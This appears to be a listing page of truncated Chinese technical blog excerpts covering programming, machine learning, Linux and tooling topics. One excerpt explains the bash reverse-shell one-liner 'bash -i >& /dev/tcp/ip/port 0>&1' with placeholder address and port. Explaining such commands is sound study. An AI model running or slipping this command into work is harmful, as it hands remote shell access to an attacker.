重构代码的一些想法 模块设计 需要明确服务的核心功能 执行时机(被谁驱动) 执行内容 和非核心功能的关系 从模块话的角度看,这三个部分其实都可以独立实现,这样更利于单元测试用例的编写,扎实的单元测试覆盖率大大提高对稳定性的信心。 执行时机一般都是外部驱动,如收到任务、请求甚至内部定时器驱动。 核心功
最近想要对一些时变的变量进行可视化,搜索来搜索去选择了使用gnuplot这个工具。 sudo apt-get install gnuplot sudo apt-get install gnuplot-x11 # 使其支持linux终端 这样就安装完gnuplot了。接着可以在命令行中键入gnuplo
关于ComfyUI的一些Tips 前言: 最近发的ComfyUI相关文章节奏不知道会不会很快,在创作的时候没有考虑很多,想着把自己的知识分享出去。后台也看到很多私信,有各种各样的问题,这是我欠缺考虑了,今天这篇文章呢,根据私信的问题我大致整理了一下,给大家一些小tips。 目录 一、将 ComfyU
简要概括 经过一些实验,我们对 Transformers 智能体构建智能体系统的性能印象深刻,因此我们想看看它有多好!我们使用一个 用库构建的代码智能体 在 GAIA 基准上进行测试,这可以说是最困难、最全面的智能体基准测试……最终我们取得了第一名的成绩! GAIA: 一个严苛的智能体基准 什么是智
在学习Transformer这个模型前对seq2seq架构有个了解时很有必要的 先上图 输入和输出 首先理解模型时第一眼应该理解输入和输出最开始我就非常纠结 有一个Inputs,一个Outputs(shift right)和一个Output Probabilities,首先需要借助这三个输入/输出来
前言 前段时间花了一些精力尝试和摸索主题接入 Google Ads 的问题,算是阶段性成功了吧,这次简单分享一下,如果有缘看到这篇文章,应该会有些启发。 1. 展示效果 上篇文章说到,前两天我在我的两款主题中内置了 Google Ads 广告位,并且我自己的网站也启用了,下图是这两天的成果: 确实有
在查看一些基于mmdetection3d构建的代码的时候,一开始会摸不着头脑,它的dataset到底是怎么构造的? 接下来就直接下载mmdetection3d这个仓库,然后去分析里面的代码。 可以看到config(比如mmdetection3d/configs/centerpoint/centerp
本章将处理一些缺陷的同时,实现支持连接点的自定义,一个节点可以定义多个连接点,最终可以满足类似图元接线的效果。
前言 原理图有一些常用电路。 本篇就将集中常用电路分析完,如uart口,涉及usart串口、rs485、usb口。 串口 串行接口简称串口,也称串行通信接口或串行通讯接口(通常指COM接口),是采用串行通信方式的扩展接口。串行接口(Serial Interface)是指数据一位一位地顺序传送。其特点
因为有一些项目保存在文件夹里,然后想着用不同的图标来显示该文件夹,但是Windows提供的那个修改文件夹的操作太麻烦,需要的操作太多(文件夹里鼠标右键,属性,自定义,更改图标,选择文件,选择图标,点击确定),于是就想自己用C#开发一个目录图标管理器,能够快速的将文件夹图标更改为自己想设置的内容,于是
页表的一些术语 现在Linux内核中支持四级页表的映射,我们先看下内核中关于页表的一些术语: 全局目录项,PGD(Page Global Directory) 上级目录项,PUD(Page Upper Directory) 中间目录项,PMD(Page Middle Directory) 页表项,(
最近在记录一些简单的结构化日志信息时,用到了sqlite3数据库(保存的信息比较简单,用Mysql,SQL Server,Postgres这些数据库有点小题大做)。 以前开发系统时,用Mysql和Postgres比较多,sqlite3接触不多,这次使用,希望sqlite3也能提供几个基本的功能,比如
通常我们在做一些数据过滤的操作的时候,经常需要做一些判断再进行是否要对其进行条件过滤。 普通做法 最原始的做法我们是先通过If()判断是否需要进行数据过滤,然后再对数据源使用Where来过滤数据。 示例如下: if(!string.IsNullOrWhiteSpace(str)) { query =
在了解一些概念之前一直看不懂上交22年开源的TRTModule.cpp和.hpp,好在交爷写的足够模块化,可以配好环境开箱即用,移植很简单。最近稍微了解了神经网络的一些概念,又看了TensorRT的一些api,遂试着部署一下自己在MNIST手写数字数据集上训练的一个LeNet模型,识别率大概有98.
智能指针一些实现分析 提供值传递但是指针语义的功能。通过指针占用并且对管理对象,在离开作用域时释放该对象。 在使用上还有另外一个很好用的功能,精简了代码复杂度,管理的对象类可以省略以下的函数 默认构造函数 复制构造函数 复制赋值函数 比如有一个类 Fd 用于管理 fd ,并且拥有 fd 的所有权,所
笔者开发过一些小应用,然后这些应用就需要有升级更新的功能,但是如果每个都集成进去也行,但是就是得写死更新的代码了。于是就想写一个应用升级更新的管理器,以前看到过Github上有一个AutoUpdate.Net,不过它那个要集成到应用中的,不符合笔者的需求,上次编写的那个没写完,然后这几天翻出来了,想
迭代器的一些简单理解 使用迭代器最方便的地方就是和算法库结合,对于实现只需要聚焦于算法,而不用过多考虑数据结构的实现。 举一个常见的的例子,std::copy_n 用作于范围元素的复制,适配于各个容器类型,并且演化出了 back_inserter/front_inserter/inserter 这类
1.简介 本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1 观点有误,欢迎指出! 目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1 2.基本知识 1. bash bash是什么? 是一种shell。 shell是什么? 此处引用h
前言 最近对一些小细节做了很多处理,但是其实还是有非常多的问题,没办法时间毕竟时间有限。为什么在这个时候开源,因为主要功能可以全部跑通了,分支暂时没开发的功能也可以通过其他的工具来替代。 这个工具开发初衷(想法来源),我之前有一篇文章有详细的说明,有兴趣的可以看一下https://mp.weixin
在跑一些深度学习代码的时候,如果需要使用mmdetection3d框架,下载的pytorch的cudatoolkit最好需要和本机的cuda版本是一样的,即输入nvcc -V命令后显示的版本一样。 但是如果是在学校里,一般是服务器管理员装的cuda驱动是啥版本,cudatoolkit就是啥版本,且非